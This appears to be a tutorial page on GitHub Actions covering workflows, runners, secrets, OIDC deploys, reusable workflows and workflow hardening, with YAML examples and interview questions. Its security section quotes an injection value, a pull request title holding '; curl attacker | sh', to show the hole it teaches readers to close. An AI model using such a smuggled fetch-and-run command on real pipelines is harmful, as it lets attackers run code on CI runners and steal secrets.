All lessons
DevOps & cloudIntermediate12 min readWorth knowing

GitHub Actions

CI/CD that lives next to your code: YAML workflows that test, build and deploy on every push.

  • Workflows
  • Runners
  • Secrets
  • Matrix builds
  • Caching
Step 1/6
A developer pushes code. The CI/CD pipeline wakes up, and the linter checks the style first. Green.

In 30 seconds

GitHub Actions runs automated jobs when something happens in a repository: a push, a pull request, a tag, a schedule or a button click. You describe the jobs in YAML files under .github/workflows, and GitHub runs them on fresh virtual machines called runners. Teams use it to run tests on every pull request, build Docker images, publish packages and deploy to servers or clouds without a separate CI product.

Not in my daily stack — I know the concepts and would learn the details when a project needs it.

Why it matters

  • It removes a whole system to run: if your code is already on GitHub, CI/CD comes with the repository, with no server to patch and no plugins to upgrade.
  • Pull requests get a clear green or red status before merge, so broken code is caught by a machine instead of a reviewer or a customer.
  • The Marketplace has thousands of reusable actions (checkout, language setup, caching, cloud logins), so most pipelines are assembled rather than written from scratch.
  • OIDC federation lets workflows deploy to AWS, Google Cloud or Azure with short-lived tokens instead of long-lived cloud keys stored as secrets.

How it works

01The building blocks: workflows, events, jobs, steps

A workflow is one YAML file in .github/workflows. It starts with on:, the events that trigger it, such as push, pull_request, workflow_dispatch (a manual button) or schedule (cron). A workflow contains jobs; each job runs on its own runner, a fresh machine that is thrown away afterwards. By default jobs run in parallel; needs: makes one job wait for another. A job is a list of steps. A step either runs shell commands with run: or uses a packaged action with uses:, for example actions/checkout to clone the repository. Think of it as a recipe book: the workflow is the book, jobs are recipes that can be cooked in separate kitchens at the same time, and steps are the lines of each recipe. Because every job starts on a clean machine, nothing carries over between jobs unless you pass it explicitly as an artifact, a cache entry or a job output.

  • Workflow = file, triggered by events.
  • Job = runs on one runner; parallel unless needs: says otherwise.
  • Step = a shell command (run:) or an action (uses:).

02Your first CI workflow

The workflow below runs on every pull request and on pushes to main. It checks out the code, installs Node.js with dependency caching built into setup-node, installs exact versions from the lockfile with npm ci, then lints and tests. Two lines matter more than they look. permissions: contents: read limits the automatic GITHUB_TOKEN to read-only access, so a compromised step cannot push code. concurrency cancels an older run of the same branch when a new commit arrives, which saves minutes and avoids confusing results. Action versions are written as @v7: the major-version tag. For actions published by GitHub this is a reasonable default; for third-party actions, pin to a full commit SHA, covered later.

yaml
name: CI
on:
  pull_request:
  push:
    branches: [main]
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with: { node-version: 24, cache: npm }
      - run: npm ci
      - run: npm run lint && npm test

03Runners: GitHub-hosted, larger and self-hosted

A runner is the machine that executes a job. GitHub-hosted runners (ubuntu-latest, windows-latest, macos-latest and ARM variants) are fresh VMs for every job, patched by GitHub and billed per minute for private repositories; public repositories get them free on standard sizes. Larger runners give more CPU and RAM, static IP ranges and GPU options for a higher price. Self-hosted runners are your own machines or Kubernetes pods running the runner agent; you choose them with labels such as runs-on: [self-hosted, linux]. They are useful when you need special hardware, access to a private network or cheaper bulk compute. The cost is that you own patching, scaling and cleanup. Most important: never attach a self-hosted runner to a public repository, because anyone who opens a pull request could run code on your machine. For autoscaling, the Actions Runner Controller (ARC) creates ephemeral runner pods in Kubernetes on demand.

04Secrets, variables and environments

Secrets are encrypted values (API tokens, SSH keys) stored in repository, environment or organization settings and read in YAML as ${{ secrets.NAME }}. GitHub masks them in logs, but masking is not security: a step that base64-encodes a secret prints it in clear. Variables (${{ vars.NAME }}) are for non-sensitive configuration such as a region name. Environments (for example staging and production) group secrets and add protection rules: required reviewers, a wait timer, and which branches may deploy. A job that declares environment: production pauses until an approver clicks approve, and only then can read production secrets. Secrets are not passed to workflows triggered by pull requests from forks, which protects you from strangers exfiltrating them. Prefer OIDC for clouds: the workflow requests a signed identity token and exchanges it for short-lived cloud credentials, so there is no cloud key to leak or rotate.

05Matrix builds, caching and artifacts

A matrix runs the same job across combinations, for example three Node versions on two operating systems, producing six parallel jobs from a few lines. Set fail-fast: false when you want to see every failing combination rather than cancelling the rest at the first failure. Caching saves dependency downloads between runs: setup actions for Node, Python, Java and Go have a cache input, and actions/cache handles anything else, keyed by a hash of the lockfile so the cache refreshes when dependencies change. Artifacts are different: they are files a job produces (a build folder, test reports, coverage) that you upload for other jobs or for humans to download, with a retention period. Rule of thumb: cache things you can rebuild to save time; upload artifacts when you need the exact output of this run.

yaml
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      matrix:
        os: [ubuntu-latest, windows-latest]
        node: [20, 22, 24]
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: ${{ matrix.node }}
          cache: npm
      - run: npm ci && npm test

06A deploy job with approval and OIDC

A typical pipeline tests on every pull request and deploys only from main. The deploy job below waits for the test job with needs:, runs only on main thanks to if:, and is tied to the production environment so it requires approval and can read production-only secrets. permissions: id-token: write allows the job to request an OIDC token, which the cloud login action exchanges for temporary credentials of a role you configured to trust only this repository and branch. The role ARN is not secret, but store it in a variable to keep the file generic. The deploy itself here is a placeholder script; it could be helm upgrade, an rsync, or a call to a hosting provider's CLI.

yaml
  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
          aws-region: eu-central-1
      - run: ./scripts/deploy.sh

Use it when

  • Your code is already on GitHub and you want CI/CD without running another server.
  • Open-source projects that need free CI on Linux, Windows and macOS for every pull request.
  • Small to mid-size teams that want pipelines, approvals and secrets managed in one place with the code.
  • Automating repository chores beyond CI: labelling issues, publishing releases, scheduled jobs.

Skip it when

  • Your code lives on GitLab, Bitbucket or a self-hosted Git server; use that platform's native CI instead of mirroring.
  • Very heavy, long-running builds where per-minute hosted pricing gets expensive and you have no appetite to run self-hosted runners.
  • Strict air-gapped environments where no external SaaS may touch the code (GitHub Enterprise Server can help, but it is a bigger decision).

Alternatives

  • GitLab CI/CD

    Built into GitLab with stages, environments and a strong self-hosted story.

  • Jenkins

    Self-hosted, endlessly pluggable; more control, more maintenance.

  • CircleCI / Buildkite

    Dedicated CI services; Buildkite runs agents on your own infrastructure.

  • Platform build hooks

    Vercel, Netlify or Render build on push for simple web apps with no custom pipeline.

Best practices

  1. Set top-level permissions: contents: read and grant more per job only where needed.
  2. Pin third-party actions to a full commit SHA and let Dependabot or Renovate propose updates.
  3. Use OIDC for cloud deploys instead of long-lived access keys in secrets.
  4. Protect production with an environment that requires reviewers and allows only the main branch.
  5. Add concurrency groups so new commits cancel stale runs and two deploys never overlap.
  6. Cache dependencies by lockfile hash and keep jobs small so failures are quick to read.
  7. Move repeated pipelines into reusable workflows or composite actions instead of copy-pasting YAML.

Common mistakes

  • Using pull_request_target and checking out the pull request code, which runs untrusted code with secrets and write access.
  • Interpolating ${{ github.event.pull_request.title }} directly into run: scripts, allowing shell injection; pass it through an env variable instead.
  • Leaving the default token with write permissions on every job.
  • Self-hosted runners on public repositories, or persistent runners that keep files and credentials between jobs.
  • Expecting files from one job to exist in the next without uploading an artifact.

Deep dive

07Reusable workflows vs composite actions

Two ways to stop copy-pasting YAML. A composite action bundles several steps into one action.yml; callers use it as a single step, so it runs inside the caller's job and shares its runner and filesystem. It is ideal for a setup sequence such as install toolchain, restore cache, log in. A reusable workflow is a whole workflow with on: workflow_call, inputs and secrets; callers reference it at the job level with uses: org/repo/.github/workflows/deploy.yml@ref. It can contain several jobs, environments and its own runners, which makes it the right tool for a standard pipeline that every service must follow. Secrets must be passed explicitly or with secrets: inherit. Nesting is limited (a few levels deep), and a caller can only reduce, not raise, the permissions of the called workflow. A platform team often publishes reusable workflows from a central repository and enforces them with required workflows or rulesets.

yaml
# .github/workflows/deploy.yml (reusable)
on:
  workflow_call:
    inputs:
      environment: { type: string, required: true }
    secrets:
      DEPLOY_TOKEN: { required: true }
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    steps:
      - uses: actions/checkout@v7
      - run: ./scripts/deploy.sh "${{ inputs.environment }}"
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

08OIDC trust: how keyless deploys actually work

When a job has id-token: write, the runner can ask GitHub's token service for a JSON Web Token signed by GitHub. The token's claims describe the run: repository, ref, environment, workflow and the triggering actor. The sub claim looks like repo:your-org/your-repo:environment:production. In your cloud you register GitHub as an identity provider and create a role whose trust policy accepts tokens only with a specific audience and sub. The cloud verifies the signature, checks the claims and returns credentials that expire in about an hour. The security is only as good as that condition: a trust policy that matches repo:your-org/* lets any repository in the organization assume a production role. Bind production roles to the environment claim, so only jobs that passed the environment's approval rules can deploy. Organizations can also customise the sub claim to include more fields, such as the job workflow reference.

09Workflow security: injection and untrusted triggers

The two classic holes are script injection and privileged triggers. Expressions like ${{ github.event.issue.title }} are substituted into the script text before the shell runs, so a title containing "; curl attacker | sh" becomes code. Fix: pass untrusted values through env: and reference them as normal shell variables, which the shell treats as data. The second hole is pull_request_target and workflow_run: they run in the context of the base repository with secrets and a write token, by design, so they can label or comment on fork pull requests. If such a workflow checks out and builds the fork's code, that code runs with those privileges. Keep privileged workflows free of untrusted code, or split work: an unprivileged pull_request workflow builds and uploads results, and a privileged workflow only reads the artifact as data. Tools like zizmor or actionlint flag these patterns automatically in CI.

yaml
# Unsafe: title is pasted into the script
- run: echo "${{ github.event.pull_request.title }}"
 
# Safe: title arrives as data in an env var
- run: echo "$PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

10Speed and cost at scale

Pipeline time is developer time. Measure first: the workflow run summary shows each job's duration. Common wins: run lint, unit tests and type checks as parallel jobs; use paths filters so a docs change does not run the full backend suite; cache dependencies and Docker layers (docker/build-push-action supports cache-to and cache-from with type=gha); split large test suites across matrix shards. Cancel superseded runs with concurrency. For monorepos, compute affected packages and run only those. Cost-wise, Linux minutes are cheapest, while Windows and macOS minutes cost several times more, so keep those jobs to what really needs them. When hosted minutes become a large bill, autoscaled ephemeral self-hosted runners via Actions Runner Controller on spot instances can cut cost, but you then own the security of those machines and the networks they can reach.

Real-world scenarios

01

CI takes 25 minutes on every pull request

Problem

A team waits almost half an hour for checks on every pull request. Developers start merging without waiting, and flaky failures are ignored.

How to solve it

Look at the run timeline and find the slowest jobs. Split one big job into parallel lint, typecheck, unit and e2e jobs. Turn on dependency caching in setup-node and Docker layer caching with type=gha. Shard the slow test suite into four matrix jobs using the test runner's shard option. Add paths filters so frontend-only changes skip backend jobs. Add a concurrency group with cancel-in-progress so pushes cancel old runs. Quarantine flaky tests into a separate non-blocking job and fix them one by one. Typical result: under ten minutes, and required checks people trust again.

02

Removing long-lived AWS keys from the repository

Problem

Deploys use an access key and secret stored as repository secrets years ago. Nobody knows who created them, and they have broad permissions.

How to solve it

Add GitHub as an OIDC identity provider in AWS IAM with audience sts.amazonaws.com. Create a deploy role with only the permissions the deploy needs, and a trust policy whose sub condition is repo:your-org/your-repo:environment:production. In the workflow, add permissions: id-token: write to the deploy job, use aws-actions/configure-aws-credentials with role-to-assume, and remove the key inputs. Run a deploy to confirm it works. Then deactivate the old access key, wait a few days for anything that still depends on it, and delete it along with the repository secrets.

03

Ten repositories with slightly different pipelines

Problem

Each service has its own copied workflow. A security fix to the deploy steps has to be made ten times, and some repositories are always forgotten.

How to solve it

Create a central repository with reusable workflows for test, build and deploy, taking inputs such as node-version and environment. Version them with tags and have each service call them at the job level with uses: your-org/ci/.github/workflows/deploy.yml@v1. Move shared setup steps into a composite action. Roll out by replacing one service's workflow, verifying it, then the rest. Use organization rulesets to require the standard checks before merge. Future fixes are a single change and a tag bump, and Dependabot can update callers.

Cheat sheet

Manual trigger
on: workflow_dispatch
Nightly schedule (UTC)
on: { schedule: [{ cron: "0 3 * * *" }] }
Read-only token by default
permissions: { contents: read }
Cancel stale runs
concurrency: { group: ci-${{ github.ref }}, cancel-in-progress: true }
Run only on main
if: github.ref == 'refs/heads/main'
Skip docs-only changes
on: { push: { paths-ignore: ["docs/**", "**.md"] } }
Pass data to later steps
echo "version=1.2.3" >> "$GITHUB_OUTPUT"
Run a workflow from the CLI
gh workflow run ci.yml --ref main
Watch the latest run
gh run watch
Lint workflow files
actionlint .github/workflows/*.yml

Questions & answers

Q1What is the difference between a job and a step?

A job is a unit of work that runs on one runner, a single fresh machine. Jobs in a workflow run in parallel by default, and you order them with needs:. A step is one item inside a job: either a shell command with run: or a reusable action with uses:. Steps in a job run in order and share the same filesystem and environment, so a step can use files the previous step created. Jobs do not share a filesystem; to pass data between jobs you use artifacts, caches or job outputs. In practice I split work into jobs when I want parallelism or a separate permission boundary, and into steps when things depend on each other closely.

Q2How do you keep secrets safe in GitHub Actions?

Several layers. Store secrets in repository, environment or organization settings, never in YAML. Put production secrets in a protected environment so only approved jobs from main can read them. Set the GITHUB_TOKEN to read-only by default. Prefer OIDC for cloud access so there is no long-lived key at all. Avoid printing or transforming secrets in logs, because masking only catches the exact string. Do not use pull_request_target with checked-out fork code, and never interpolate untrusted event data directly into shell scripts. Finally, pin third-party actions to commit SHAs, since an action you use runs with access to the same secrets as your own steps.

Q3Cache or artifact: which one should I use?

They solve different problems. A cache is an optimisation: it stores things you could rebuild, like downloaded npm packages, keyed by something such as the lockfile hash. If the cache is missing, the job still works, just slower. An artifact is an output of a specific run, such as a compiled build, test reports or a coverage file. You upload it so a later job can use exactly that output, or so a human can download it. A good test: if losing it would break correctness, it is an artifact; if losing it only costs time, it is a cache. Caches are also scoped by branch, so pull requests can read the main branch cache but not each other's.

Q4How does a matrix build work and when is it worth it?

A matrix takes lists of values, for example operating systems and language versions, and creates one job for every combination. Three Node versions on two systems become six parallel jobs. It is worth it for libraries and tools that users run in many environments, because it catches version-specific bugs before release. For an application that only runs on one Node version in one Docker image, a matrix mostly burns minutes; test the version you ship. Use include and exclude to add or drop specific combinations, fail-fast: false to see all failures, and max-parallel if you need to limit load on a shared service.

Q5Why pin actions to a commit SHA instead of a tag like v4?

A tag is a movable pointer. If the action's repository is compromised, an attacker can move the tag to malicious code and every workflow using it runs that code with your secrets on the next build. This has happened in real supply-chain incidents. A full 40-character commit SHA is immutable, so you run exactly the code you reviewed. The downside is manual updates, which Dependabot or Renovate solve by opening pull requests with the new SHA and a comment showing the version. For actions maintained by GitHub itself, many teams accept major tags; for everything third-party, SHA pinning is the safer default.

Q6How do you deploy to a server from GitHub Actions?

First decide what moves: usually a Docker image pushed to a registry, or a built artifact. The workflow tests, builds and pushes the image tagged with the commit SHA. A deploy job, tied to a protected production environment, then tells the server to pull and restart that exact tag, for example over SSH with a dedicated deploy key that has limited rights, or by calling a cloud API using OIDC credentials. Add a concurrency group so two deploys never overlap, a health check after the restart, and a simple rollback path such as redeploying the previous SHA. Keep deploy logic in a script in the repository so it can be run and tested outside CI too.

Senior-level questions

S1How would you design CI/CD governance for an organization with 200 repositories on GitHub?

I would centralise the patterns and decentralise the ownership. A platform repository publishes versioned reusable workflows for build, test, scan and deploy, plus composite actions for setup. Organization rulesets require specific status checks and, where available, required workflows, so security scans cannot be removed by one team. Organization policy restricts which actions are allowed: GitHub-owned, verified creators and an allowlist of SHA-pinned third-party actions. Default token permissions are read-only at the organization level. Cloud access uses OIDC with trust policies tied to repository and environment claims. Runners are GitHub-hosted for most work, with ARC-managed ephemeral runners in isolated networks for jobs that need private access. The trade-off is less freedom for individual teams, so the shared workflows must be good, documented and fast, or teams will work around them.

S2What are the risks of self-hosted runners and how do you run them safely?

A runner executes whatever the workflow says, so it is effectively remote code execution for anyone who can trigger a workflow. Risks: a malicious pull request on a public repository, persistence between jobs (a job leaves a backdoor, the next job's secrets are stolen), and lateral movement into the network the runner sits on. Safe operation means: never on public repositories; ephemeral runners that take exactly one job and are destroyed, typically via Actions Runner Controller or autoscaling VMs; runner groups restricted to specific repositories; minimal network access, with egress controls; no cloud instance role with broad permissions attached to the runner host; and regular image rebuilds. The trade-off versus hosted runners is control and cost on one side, and owning a security-sensitive fleet on the other.

S3How do you guarantee that what you deploy is what CI tested?

Build once, promote many times. CI builds a single artifact, usually a container image, tags it with the commit SHA and pushes it to a registry, then refers to it by immutable digest from then on. Tests run against that image. Staging and production deploys pull the same digest rather than rebuilding, so there is no chance of a different dependency resolving later. Add provenance: GitHub artifact attestations (built on Sigstore) let you sign a build provenance statement that links the image digest to the workflow, repository and commit. The deploy step or an admission controller verifies the attestation before running it. The cost is some extra pipeline complexity and registry storage; the benefit is a verifiable chain from commit to running code, which auditors and incident responders value.

Glossary

Workflow
A YAML file in .github/workflows describing automated jobs and the events that trigger them.
Runner
The machine that executes a job: GitHub-hosted VM or your own self-hosted machine.
Action
A reusable, packaged step, referenced with uses:, such as actions/checkout.
GITHUB_TOKEN
An automatic, short-lived token for each run, with permissions you limit in the workflow.
Environment
A named deploy target with its own secrets and protection rules such as required reviewers.
OIDC
OpenID Connect: the job proves its identity with a signed token to get temporary cloud credentials.
Matrix
A strategy that runs one job across many combinations of values, in parallel.
Artifact
A file produced by a run and uploaded for later jobs or for download.
Reusable workflow
A workflow triggered by workflow_call so other workflows can call it as a job.

Have a product in mind?Let's build it.

Tell me about your idea, your product or your team. I usually reply within one working day.